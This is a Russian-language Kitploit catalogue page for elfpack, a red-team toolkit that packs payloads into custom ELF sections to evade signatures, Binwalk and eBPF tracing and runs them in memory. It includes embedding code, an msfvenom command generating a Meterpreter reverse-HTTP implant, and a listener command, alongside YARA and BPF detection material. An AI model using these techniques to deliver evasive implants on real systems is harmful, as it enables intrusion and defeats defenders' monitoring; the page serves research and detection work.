Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
elfpack — Набор инструментов для стыковки секций ELF-бинарных файлов для доставки бесстадийных полезных нагрузок, обеспечивающий присоединение полезной нагрузки в полевых условиях, обход сигнатур и устойчивость к статической/динамической загрузке с помощью манипуляции пользовательскими секциями ELF. | Kitploit
Инструменты/GitHubGitHub/dsnezhkov/elfpack
Генерация полезной нагрузкиЭксплуатацияАнализ вредоносных программТестирование на ПроникновениеАнализ Бинарных ФайловRed TeamingРазработка Полезной Нагрузки
GitHubdsnezhkov/elfpack

elfpack

Репозиторий
51104 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Набор инструментов для стыковки секций ELF-бинарных файлов для доставки бесстадийных полезных нагрузок, обеспечивающий присоединение полезной нагрузки в полевых условиях, обход сигнатур и устойчивость к статической/динамической загрузке с помощью манипуляции пользовательскими секциями ELF.

Поделиться

ElfPack: Стыковка секций ELF-бинарников для доставки полезной нагрузки без стадий

Основные моменты

  • Обзор механизмов упаковки полезной нагрузки: компиляция, компоновка и загрузка.
  • Двоичная совместимость и создание слабо связанных полезных нагрузок с их механизмом доставки.
  • Избежание автоматической загрузки секций в память.
  • Использование структурированных типов секций.
  • Повторное присоединение полезной нагрузки в полевых условиях к загрузчикам через секции ELF. Используйте свою собственную полезную нагрузку.
  • Обход сигнатур с помощью отдельно предкомпилированных секций ELF.
  • Автоматическое (drive-by) присоединение полезных нагрузок к загрузчикам с помощью конвейера генерации полезных нагрузок.
  • Создание «жирных» бинарников полезной нагрузки и обоснование отказа от двоичных упаковщиков.
  • Упаковка сложных полезных нагрузок.
  • Варианты обфускации полезной нагрузки и защиты ключей.
  • Устойчивость к статическому и динамическому трассированию загрузки полезной нагрузки. Binwalk и eBPF.

Встраивание полезных нагрузок

Включение hex-бинарников при компиляции и компоновке

  1. Непосредственно в секции данных по умолчанию или в .text: Обычно компилятор размещает создаваемые им объекты в секциях, таких как .data.

payload.h:

root@kitploit:~
const data[3432] = {
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 
};

Достигается вручную или с помощью инструментов, таких как bin2c или xxd -i payload.bin > payload.h, с дальнейшим подключением заголовочного файла.

Хранение полезных нагрузок в .text и .data в общем виде также является плохой идеей из-за простоты отслеживания загрузки и анализа семантики поведения загружаемых данных для выполнения.

  1. В отдельной секции. Вы можете разместить данные полезной нагрузки в дополнительных секциях, или вам нужно, чтобы определённые переменные находились в специальных секциях. Это достигается с помощью механизма, зависящего от компилятора. В gcc это делается через __attribute__. Это немного лучше, но всё ещё хорошо отслеживается из-за того, как ELF создаётся и загружается.
root@kitploit:~
char stack[10000] __attribute__ ((section ("binstack"))) = { 
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;

main()
{
    /* Initialize stack pointer */
    init_sp (stack + sizeof (stack));

    /* Initialize initialized data */
    memcpy (&init_data, &data, &edata - &data);
}
  1. Включение бинарника через компоновщик

Директива, аналогичная .incbin, зависящая от ассемблера, может создать секцию и встроить полезную нагрузку. Пример: gcc -c payload.s или ld -r -b payload.bin -o payload.o

root@kitploit:~
.section .bindata

.global payload_start
.type payload_start, @object

.section .binddata
.balign 64

payload_start:
    .incbin "payload.bin"
    .balign 1
payload_end:
    .byte 0

С последующим извлечением в загрузчике как:

root@kitploit:~
int main(void) {
    extern uint8_t payload_start;
    uint8_t *ptrPayload = &payload_start;
    ...
}

Примечание: Мы можем включить полнофункциональный ELF в payload.bin, что важно при создании «жирных» бинарников, содержащих элементы нескольких тулкитов.

Примечание: Существуют более эргономичные инструменты для выполнения этой задачи, например INCBIN от @graphitemaster [link]

Вариация на тему — встроенный ассемблер, например так:

root@kitploit:~
/* Raw image data for all embedded images */
 #undef EMBED
 #define EMBED( _index, _path, _name )                                   \
         extern char embedded_image_ ## _index ## _data[];               \
         extern char embedded_image_ ## _index ## _len[];                \
         __asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t"       \
                   "\nembedded_image_" #_index "_data:\n\t"              \
                   ".incbin \"" _path "\"\n\t"                           \
                   "\nembedded_image_" #_index "_end:\n\t"               \
                   ".equ embedded_image_" #_index "_len, "               \
                         "( embedded_image_" #_index "_end - "           \
                         "  embedded_image_" #_index "_data )\n\t"       \
                   ".previous\n\t" );
 EMBED_ALL
 
 /* Image structures for all embedded images */
 #undef EMBED
 #define EMBED( _index, _path, _name ) {                                 \
         .refcnt = REF_INIT ( ref_no_free ),                             \
         .name = _name,                                                  \
         .data = ( userptr_t ) ( embedded_image_ ## _index ## _data ),   \
         .len = ( size_t ) embedded_image_ ## _index ## _len,            \
 },
 static struct image embedded_images[] = {
         EMBED_ALL
 };
 

Примечание: Обратите внимание на PROGBITS в определении секции, это будет важно.

Включение бинарника полезной нагрузки через компилятор/компоновщик не идеально

Есть компромиссы:

  • Процесс встраивания тесно связан с созданием загрузчика полезной нагрузки.
  • Что насчёт изменений формата полезной нагрузки?
  • По умолчанию секция, несущая данные, имеет флаги PROGBITS, и она будет загружена в память (PT_LOAD) загрузчиком ОС по умолчанию. Возможно, мы этого не хотим.

Представление секции ELF на диске/в памяти

Диаграмма ELF PROGBITS

Тип секции и флаги, установленные на новой секции, определяют, будет ли загрузчик ОС загружать её в память при запуске исполняемого файла. Некоторые секции загружаются автоматически по умолчанию, другие — нет (например, .symtab, .strtab)

С точки зрения атаки, какую эффективность мы можем из этого извлечь?

Встраивание полезных нагрузок: версия 2

  1. Мы можем избегать установки флагов на секции, которые предполагают загрузку в память по умолчанию.

  2. Мы можем использовать другой тип секции, который не загружается в память.

Поставщику или системному инженеру может потребоваться пометить объектный файл специальной информацией, которую другие программы могут проверить на соответствие или совместимость. Секции типа SHT_NOTE и элементы программного заголовка типа PT_NOTE могут использоваться для этой цели.

В последнем случае мы можем увидеть использование этого типа секции в системных бинарниках:

root@kitploit:~
$ readelf --sections /bin/tar | grep NOTE
  [ 2] .note.gnu.bu[...] NOTE             00000000000002c4  000002c4
  [ 3] .note.ABI-tag     NOTE             00000000000002e8  000002e8

И можем проверить их содержимое:

root@kitploit:~
$ readelf -p .note.ABI-tag /bin/tar

String dump of section '.note.ABI-tag':
  [     c]  GNU

Конечный результат создания секции SHT_NOTE в ELF будет выглядеть так: Секция SHT_NOTE

Бонус: SHT_NOTE предоставляет нам структуру, если мы захотим её использовать (а мы будем использовать её далее):

Структура SHT_NOTE

Стыковка секций ELF

До сих пор мы могли создать секцию и избежать её загрузки в память загрузчиком ОС. Секция фактически находится в спящем состоянии в образе ELF. Мы обсудим, как её загружать, немного позже. Однако более насущный вопрос заключается в том, что мы всё ещё работаем на уровне компилятора и компоновщика, и секция — это объект, который вплетается в структуру конечного ELF, создавая связи и адреса памяти из кода загрузчика, который ссылается на её содержимое.

Объект секции ELF

Что, если бы мы могли создать секцию ELF со встроенной полезной нагрузкой вне процесса компиляции загрузчика и присоединить эту секцию позже к бинарнику загрузчика?

Это разорвало бы связь кода загрузчика с взаимодействием секции. Затем мы учим загрузчик находить и загружать его внешнюю секцию данных, фактически «стыкуя» полезную нагрузку с загрузчиком слабо связанным образом.

Концептуально наши цели будут:

  • Загрузчик не должен быть связан с семантикой полезной нагрузки
  • Загрузка и выполнение полезной нагрузки:
    • Без изменения кода загрузчика вообще?
    • Без использования загрузчика ОС ld.so (ELF-загрузчика), который автоматически загружает сегменты полезной нагрузки в память.
  • Повторное присоединение полезной нагрузки в полевых условиях.

Отношения загрузчик/полезная нагрузка (в секции) теперь будут выглядеть так:

Отношения загрузчик/полезная нагрузка

Затем мы можем создать инжектор, который введёт секцию полезной нагрузки в загрузчик без работы на уровне кода, только на уровне двоичной совместимости (и при условии, что загрузчик знает, как загрузить любую секцию полезной нагрузки).

ELF инжектор

Некоторые результаты такой универсальной настройки стыковки секций ELF:

  1. Статический ELF-загрузчик может поставляться сам по себе, без полезных нагрузок, только с механизмами для загрузки секции по требованию и начальной загрузки полезной нагрузки из неё.
  2. Полезная нагрузка может быть упакована отдельно и объединена с загрузчиком в любое время как статическая стадия, или позже с помощью инжектора. Полезная нагрузка часто может быть зашифрована, часто может быть сама ELF-исполняемым файлом, если необходимо, при условии, что загрузчик знает не структуру полезной нагрузки, а только её возможности упаковки.
  3. Инжектор может выступать посредником при присоединении секций из нескольких бинарников (спящих стадий) для создания секции и внедрения её в загрузчик.
  4. Есть преимущества при конструировании на уровне секций по сравнению с упаковкой нескольких ресурсов в исполняемый файл. Нет накладных расходов на обнаружение для обработки упаковщика и кода. Есть выигрыш в переносе нескольких секций с другими инструментами, которые полагаются на запуск в памяти и не могут быть легко упакованы из-за того, как упаковщики должны извлекать бинарники в файловую систему. (Раздел «Жирные бинарники» далее)

Компоненты стыковки ELF:

Давайте подробнее обсудим компоненты стыковки секций ELF.

Секционный ELF-инжектор:

Расположение: тыловое или полевое Преимущества:

  • Агностический прокси между загрузчиком и полезной нагрузкой
  • Оптимизированный конвейер генерации полезной нагрузки
  • Присоединение полезной нагрузки к загрузчику в полевых условиях без компиляторов, если необходимо

Секционный ELF-загрузчик:

Расположение: полевое Преимущества:

  • Агностичен к присоединённой полезной нагрузке
  • Загружает полные ELF или шеллкод (больше возможностей) путём чтения и разбора собственного бинарника.
  • Если вам нужен шеллкод, вы можете создать из него работающий ELF (например, Metasploit's mettle)
  • Трассировка не видит mprotect()
  • Изолированное разделение между местом нахождения полезной нагрузки и обычными массивами .DATA.
  • Это обеспечивает абстракцию для трассировщиков.
  • Возможность принимать и передавать аргументы самим полезным нагрузкам

Бинарная полезная нагрузка:

Преимущества:

  • Полезная нагрузка — это полнофункциональная программа с меньшими ограничениями, данными, сегментами LDD нетронутыми.
  • Она может быть уникально обфусцирована без учёта пространства (записи .NOTE имеют переменный размер)
  • Она может быть извлечена в файловую систему или запущена как часть оглавления (жирные загрузчики полезной нагрузки).
  • Она не требует перемещения, может быть соединена с другими загрузчиками.
  • Пример кросс-присоединения и обхода обнаружения: Загрузчик A читает полезную нагрузку загрузчика B.

Возможности обхода

Усиление секционного ELF-инжектора/упаковщика:

  • XOR-зашифрованная полезная нагрузка, но может быть реализован AES.
  • Метаданные XOR-ключа хранятся во внешнем водяном знаке.
  • XOR-ключи не раскрываются.
  • Возможна дополнительная обфускация данных XOR.

Усиление ELF-загрузчика:

  • XOR-зашифрованная полезная нагрузка по умолчанию, но может быть реализован AES.
  • Метаданные XOR-ключа извлекаются из внешнего водяного знака.
  • Разделение времени запуска загрузчика и времени загрузки полезной нагрузки, если необходимо.
  • Возможность демонизации (способность работать с userland exec и memfd_create)
  • Возможность обхода расчёта энтропии полезной нагрузки и анти-карвинга: Binwalk по умолчанию не видит полезную нагрузку, не может извлечь (пример в демо: упаковка полезной нагрузки msfvenom)

Обсуждение загрузчика, специфичного для тулкита стыковки секций ELF:

Несколько слов о секционном ELF-загрузчике, работающем с запускателем полезной нагрузки:

Загрузчик может использовать один из двух механизмов выполнения полезной нагрузки в памяти:

  • Вариант A : SYS_Memfd_create ()

    • Реализовано с помощью libreflect [link], но может быть сделано с помощью zombieant pre-loader [link]
    • Более обнаруживаемо на уровнях: j анонимный файл в /proc/self/fd/
      • использует sys_memfd_create (syscall #319)
    • Выполняет fork/exec, трассировка BPF для execve() будет записана.
  • Вариант B: User land Exec (https://grugq.github.io/docs/ul_exec.txt)

    • Пока реализовано с помощью libreflect. Хороший интерфейс.
    • Вычищает загрузчик и накладывает полезную нагрузку.
    • Нет вызовов sys_enter_exec / sys_exit_exec. Трассировка BPF для execve() не ловит
    • Недостаток: вы не можете демонизировать через загрузчик (память загрузчика уничтожается при наложении) но полезная нагрузка может демонизировать себя при запуске: прелесть распространения ELF-бинарников по сравнению с распространением шеллкода 

Выполнение рабочего процесса: ELF инжектор Демонстрация стыковки секций ELF

Возможности обхода Binwalk после секционной полезной нагрузки ELF по сравнению с полезной нагрузкой MSF: Сравнение Binwalk для секционной полезной нагрузки ELF и MSF

Обход eBPF против секционного упаковщика ELF: Обход eBPF

Инструменты обнаружения:

Верификатор YARA и тесты: Проверка YARA

Тест проверки YARA

Определение инструмента STIX:

SCAP

Сборка PoC ELFPack

  • Для CMake: перед чистой сборкой выполните: cmake --configure . для настройки вашего окружения сборки. Мы поддерживаем CMake 3.18 на данный момент.
  • ./build.sh

Зависимости ELFPack:

  • Мы используем библиотеку libreflect для этого PoC из https://github.com/rapid7/mettle
  • она собрана для вас и распространяется в папке vendor/lib/reflect/libreflect.a, но может быть пересобрана из оригинального репозитория, если необходимо.
  • Во время выполнения: если вы хотите поиграть с BPF и bpftrace, пожалуйста, установите соответствующие заголовки ядра для вашего дистрибутива.

Использование

  • Интерфейс: Смотрите run.sh
  • Бэкенд: Этот PoC работает с имплантом mettle metasploit, поэтому для перехвата вашего трафика на сервере MSF вы будете использовать RC-файл aux/msfrc следующим образом:
root@kitploit:~
msfconsole -r aux/triage/msfrc
  • Полезная нагрузка MSF (mettle) может быть сгенерирована следующим образом:
root@kitploit:~
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443  -f elf > ../elfpack_staging/mettle-shell.elf
  • Трассировку BPF можно выполнить следующим образом (требуются права root):
root@kitploit:~
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
  • Пример интеграции YARA через привязки Python можно увидеть в aux/triage/elfpack_yar.py
root@kitploit:~
./aux/triage/elfpack_yar.py <path/to/elf/file> [elf_section]
Скачать инструмент